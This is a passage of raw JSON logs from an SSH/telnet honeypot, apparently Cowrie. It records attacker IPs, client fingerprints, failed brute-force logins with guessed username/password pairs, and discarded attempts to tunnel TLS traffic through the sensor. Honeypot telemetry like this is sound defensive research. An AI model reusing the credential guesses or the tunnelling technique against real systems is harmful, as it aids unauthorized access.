f7mHdNoit51uHACGkMejKZZGpRjDIyOzr4k6PnogyYDyCD4kPGabXlDH3r6ryvhsDTnWkI67phWXXfO%2BGkNg3KwIYfb7tWR08mG6DWRsPE0WUPHd37EoQDKyc5ZIlj2vwpVOxd28rLU29Vb6aVi%2BWnaA6RXghoTIbCnRYI%2Fwdg7XN9LoWLEx0nAsLvXoyKIUw5FCOno8JruAma%2B8DDu4uDw2lvpI7KE8Zq8%2Baucw9jVNe2AStmffFAAMH7M4yw79kJFPA0IaHyaU2GYbwFYaIg%2FP4QweqPQpncRLob5f815ne6Evn6BtCLiTi5M%2BDrQ8Uo4%2FL7iuk2GKwo7%2FD8HD5w0XTfM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:30.930906Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.763741Z","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.821475Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12q\\x02\\x8b~,\\xc6\\x0eR\\x06\\xa0\\x19\\xfe\\x83h\\xf7\\x92\\xa7\\xd58\\x1egE\\xe0\\x14\\xd6\\x80\\x8e\\xf0#\\xfa' \\xf2\\xdf\\xd8t\\x0b\\xdf\\xe3 \\x91\\xe1\\x83_\\xa2\\x84!\\xf0bT\\x7f\\x90\\xb72\\xe1\\xac&\\xdcve\\x8e1\\xef\\xe2\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xcdO\\x04\\x89\\xab\\xf3\\x8f\\xb8|\\xd2\\xbc\\x15\\xb0\\x9a\\x9aK\\x8a\\x8c\\xec9\\xa2\\xbd(\\x87H\\xbdb\\xab\\xd6\\xd9\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12q\\x02\\x8b~,\\xc6\\x0eR\\x06\\xa0\\x19\\xfe\\x83h\\xf7\\x92\\xa7\\xd58\\x1egE\\xe0\\x14\\xd6\\x80\\x8e\\xf0#\\xfa' \\xf2\\xdf\\xd8t\\x0b\\xdf\\xe3 \\x91\\xe1\\x83_\\xa2\\x84!\\xf0bT\\x7f\\x90\\xb72\\xe1\\xac&\\xdcve\\x8e1\\xef\\xe2\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb0\\xcdO\\x04\\x89\\xab\\xf3\\x8f\\xb8|\\xd2\\xbc\\x15\\xb0\\x9a\\x9aK\\x8a\\x8c\\xec9\\xa2\\xbd(\\x87H\\xbdb\\xab\\xd6\\xd9\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.824565Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web1","password":"p@55w0rd","message":"login attempt [web1/p@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.833603Z","src_ip":"91.92.40.36","session":"13b3987c7815","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.876887Z","src_ip":"45.153.34.195","session":"f82693dd0dec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.889192Z","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.947441Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\x84\\xa3_E\\x14\\xae\\xee<\\xf52y\\xc5\\xd5\\x85k\\xd9G\\x8a\\xa9f1\\xca\\x94\\xf8\\xcds{V\\xc7\\xca- q\\xbb\\r\\xf0\\xb2\\x02\\xe327\\xa2w\\xfa\\x93\\x1b\\xa1s\\xf5\\x0f\\x83\\xb9?j]Po\\xd4zqon\\x01\\x84\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xed\\x03\\xb0zb\\x06\\xccK\\x89~\\x0f\\x80nz\\x8bt\\x9b\\x13\\x02\\xeb\\xb4\\xea\\x9f\\xb8\\xc4\\xf5`\\xf9\\x06\\xee\\x8a&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03D\\x84\\xa3_E\\x14\\xae\\xee<\\xf52y\\xc5\\xd5\\x85k\\xd9G\\x8a\\xa9f1\\xca\\x94\\xf8\\xcds{V\\xc7\\xca- q\\xbb\\r\\xf0\\xb2\\x02\\xe327\\xa2w\\xfa\\x93\\x1b\\xa1s\\xf5\\x0f\\x83\\xb9?j]Po\\xd4zqon\\x01\\x84\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xed\\x03\\xb0zb\\x06\\xccK\\x89~\\x0f\\x80nz\\x8bt\\x9b\\x13\\x02\\xeb\\xb4\\xea\\x9f\\xb8\\xc4\\xf5`\\xf9\\x06\\xee\\x8a&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:31.950814Z","src_ip":"23.175.50.52","session":"3f40489504d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44044,"dst_ip":"10.17.0.5","dst_port":22,"session":"dee15e97ac09","protocol":"ssh","message":"New connection: 45.153.34.195:44044 (10.17.0.5:22) [session: dee15e97ac09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.018109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.025901Z","src_ip":"45.153.34.195","session":"dee15e97ac09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.116596Z","src_ip":"45.153.34.195","session":"dee15e97ac09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.67422366142273,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.321833Z","src_ip":"94.23.66.112","session":"8ad3d6b560b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35496,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2370e70efa5","protocol":"ssh","message":"New connection: 91.92.40.36:35496 (159.203.135.109:22) [session: a2370e70efa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.331534Z"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.645335Z","src_ip":"45.153.34.195","session":"dee15e97ac09","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.802433Z","src_ip":"91.92.40.36","session":"0abbd7822397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:33.806087Z","src_ip":"91.92.40.36","session":"0abbd7822397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:34.727378Z","src_ip":"45.153.34.195","session":"dee15e97ac09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazw1234","message":"login attempt [ubuntu/qazw1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:35.131472Z","src_ip":"91.92.40.36","session":"2f2852b20fd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":44052,"dst_ip":"10.17.0.5","dst_port":22,"session":"f772f06adc9f","protocol":"ssh","message":"New connection: 45.153.34.195:44052 (10.17.0.5:22) [session: f772f06adc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:35.920092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:35.925006Z","src_ip":"45.153.34.195","session":"f772f06adc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:36.022229Z","src_ip":"45.153.34.195","session":"f772f06adc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:36.417941Z","src_ip":"45.153.34.195","session":"f772f06adc9f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:55:37.238022Z","src_ip":"91.92.40.36","session":"a2370e70efa5","protocol":"ssh"}
